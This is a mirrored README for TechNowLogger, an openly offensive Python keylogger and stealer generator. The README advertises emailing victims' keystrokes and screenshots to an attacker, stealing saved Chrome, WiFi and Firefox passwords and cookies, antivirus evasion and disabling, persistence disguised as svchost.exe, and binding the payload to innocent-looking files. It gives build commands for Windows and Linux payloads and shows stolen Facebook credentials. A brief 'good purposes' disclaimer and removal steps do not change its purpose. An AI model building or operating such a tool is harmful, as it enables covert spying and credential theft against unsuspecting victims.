Need help with technowlogger?
Click the “chat” button below for chat support from the developer who created it, or find similar developers for support.

About the developer

199 Stars 57 Forks BSD 3-Clause "New" or "Revised" License 141 Commits 12 Opened issues


TechNowLogger is Windows/Linux Keylogger Generator which sends key-logs via email with other juicy target info

Services available


Need anything else?

Contributors list

TechNowLogger Logo


Hacker GIF

                    This small python script can do really awesome work.

TechNowLogger is Keylogger Generator for Windows/Linux, which sends key-logs & screenshot via email with other juicy target info written in Python 3.


:computer: This project was created only for good purposes and personal use.



  • [x] Works on Windows/Linux
  • [x] Notify New Victim Via Email
  • [x] Undetectable
  • [x] Persistence
  • [x] Sends Screenshot of Victim PC's Screen via email
  • [x] Creates Executable Binary With Zero Dependencies
  • [x] Create less size ~ 5mb payload with advance functionality
  • [x] Obfusticate the Payload before Generating it, hence Bypassing few more antivirus
  • [x] Generated Payload is Encryted with base64, hence makes extremely difficult to reverse engineer the payload
  • [x] Function to Kill Antivirus on Victim PC and tries to disable the security
  • [x] Awesome Colourful Interface to generate payload
  • [x] On Attacker Side: While Creating Payload, Script Automatically Detects Missing Dependencies & Installs Them
  • [x] Distinguish Log Data on the Basics of Active Window Name (Check v1.3 Image for Better Understanding)
  • [x] Able to add custom Icon to evil file (New Argument is Added in v1.3 & onward version)
  • [x] Built-in Binder which can bind Keylogger to Any File [.pdf, .txt, .exe etc], Running legitimate file on front end & evil codes in back-end as a service. (New Argument is Added in v1.4 & onward version)
  • [x] Checks for Already Running Instance on System, If running instance found, then only legitimate file is executed [Multiple Instance Prohibiter to avoid Same Muliple Logs Email].
  • [x] Attacker can Create/Compile for Both Windows/Linux OS Using Linux System, But Can only Create/Compile Windows Executable using Windows Machine
  • [x] Retrieves Saved Passwords from victim System and sends it to Attacker.

| Built-in Stealer Can Steal These Things : | | ----------------------------------------------------------- | | Chrome Browser (Saved Password) | | WiFi (Saved Password) | | Chrome Cookies (Login Data, Cookies, History) | | Firefox Cookies (cookies.sqlite) |

Note: Custom Stealer is Coded, does not relies on LaZagne

  • [x] Grabs & Send Useful Information of Victim's Device

| These Things are Grabbed & Sended: | | -----------------------------------| | Operating System | | Computer Name | | User Name | | Public IPv4 |

  • [x] If your payload is unable to execute, then specify --debug to run exe on foreground with CMD

Tested On

Kali) Kali Linux - ROLLING EDITION

Windows) Windows 8.1 - Pro

Windows) Windows 7 - Ultimate


  • [x] Python 3.X
  • [x] Few External Modules

How To Use in Linux

# Navigate to the /opt directory (optional)
$ cd /opt/

Clone this repository

$ git clone

Navigate to technowlogger folder

$ cd technowlogger

Installing dependencies

$ bash

* Note When The Python Installer DialogBox Appear while executing * * Click on custom install * Select Path to : C:/Python37-32 ### So that the python is installed in this path (Inside Wine) : ~/.wine/drive_c/Python37-32

If you are getting any errors while executing, try to install using

$ python3

$ chmod +x $ python3 --help

Making Payload/RAT

$ python3 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path

Note: You can also use our custom icons from the icon folder, just use them like this --icon icon/pdf.ico

How To Use in Windows

# Install dependencies 
$ Install latest python 3.x

Clone this repository

$ git clone

Go into the repository

$ cd technowlogger

Installing dependencies

$ python -m pip install -r requirements.txt

Open in Text editor and Configure Line 16 WINDOWS_PYTHON_PYINSTALLER_PATH = "C:/Python37-32/Scripts/pyinstaller.exe"

Getting Help Menu

$ python --help

Making Payload/RAT

$ python -e [email protected] -p YourEmailPass -w -o output_file_name --icon icon_path

Note: You can also use our custom icons from the icon folder, just use them like this --icon icon/pdf.ico

How to Update

  • Run to Update Autmatically or Download the latest Zip from this GitHub repo
  • Note: Git Must be Installed in order to use

Note:- Evil File will be saved inside dist/ folder, inside technowlogger/ folder

Available Arguments

  • Optional Arguments

| Short Hand | Full Hand | Description | | ---------- | --------- | ----------- | | -h | --help | show this help message and exit | | -i INTERVAL | --interval INTERVAL | Time between reports in seconds. default=120| | -t TIMEPERSISTENT | --persistence TIMEPERSISTENT | Becoming Persistence After __ seconds. default=10 | | -w | --windows | Generate a Windows executable. | | -l | --linux | Generate a Linux executable. | | -s | --steal-password | Steal Saved Password from Victim Machine [Supported OS : Windows] | | -b file.txt | --bind LEGITIMATEFILEPATH.pdf | AutoBinder : Specify Path of Legitimate file. [Supported OS : Windows] | | -d | --debug | Payload Will Run In Foreground with CMD Window, To get Appropriate Execution Error |

Note : Either -w/--windows or -l/--linux must be specified

  • Required Arguments

| Short Hand | Full Hand | Description | | ---------- | --------- | ----------- | | | --icon ICON | Specify Icon Path, Icon of Evil File [Note : Must Be .ico] | | -e EMAIL | --email EMAIL | Email address to send reports to. | | -p PASSWORD | --password PASSWORD | Password for the email address given in the -e argument. | | -o OUT | --out OUT | Output file name.|

New Screenshots:

Getting Help

Generating payload

Getting report

Log Data is Distinguished on The Basics of Active Window Name ~ Feature Added to v1.3 & Onward

Retrives & Sends Saved Chrome Browser's Password

  • Note: In order to use this feature, specify -s or --steal-password while creating keylogger

Retrives & Sends Saved WIFI Password

  • Note: In order to use this feature, specify -s or --steal-password while creating keylogger

Also Refer These Old Images

~Old Screenshots:

Getting Help

Running Script

Building Finished

When Keylogger runs, it adds Registry to become persistence

Makes copy of itself and saved it inside Roaming

Typing Random text to test Keylogger

Report 1 sended by TechNowLogger

Login facebook ~ Victim

Report 2 - Keylogs of facebook Credentials

Report 3 - With Screenshots

Debug Issues

Try to Run Offline Keylogger in order to test Offline Key logs capturing & Debug keylogger issues by running these commands:

Run In both the modes [Compiled & Raw] and figure out whats the error

Run it like this :


Also Compile it like this:

pyinstaller --onefile --hidden-import=win32event --hidden-import=winerror --hidden-import=win32api --hidden-import=pynput.keyboard

After running it, Start typing something, Result will be displayed on the Command prompt after every 10 seconds

Offline keylogger's files are present in TestKeylogger Folder

  • If payload is unable to execute on victim's system
    1. Create a new payload with --debug flag
    2. Run payload exe throught cmd [Don't Execute Payload By Double Clicking It]
    3. It will now give more appropriate error in CMD, just put that issue in Issue Section

Removing TechNowLogger in Windows:

Method 1:

  • Go to start, type regedit and run the first program, this will open the registry editor.
  • Navigate to the following path Computer\HKEYCURRENTUSER\Software\Microsoft\Windows\CurrentVersion\Run There should be an entry called svchost, right click this entry and select Delete.
  • Go to your user path > AppData > Roaming, you’ll see a file named “svchost.exe”, this is the RAT, right click > Delete.
  • Restart the System.

Method 2:

  • Run "RemoveTechnowLogger.bat" in Infected System and then restart the PC to stop the current Running Evil File.

Removing TechNowLogger in Linux:

  • Open Autostart file with any text editor, *Autostart File Path: ~/.config/autostart/xinput.desktop*
  • Remove these 5 lines:

        [Desktop Entry]
  • Note: destinationfilename is that name of evil_file which you gave to your Keylogger using -o parameter

  • Reboot your system and then delete the evil file stored this this below path

  • Destination Path, where Keylogger is stored : ~/.config/xnput

Video Tutorial

Video Tutorial - Technowlogger


  • All Contributors are welcome, this repo needs contributors who will improve this tool to make it best.


  • [ ] Add New features
  • [ ] Contribute GUI Version


[email protected]

More Features Coming Soon...

We use cookies. If you continue to browse the site, you agree to the use of cookies. For more information on our use of cookies please see our Privacy Policy.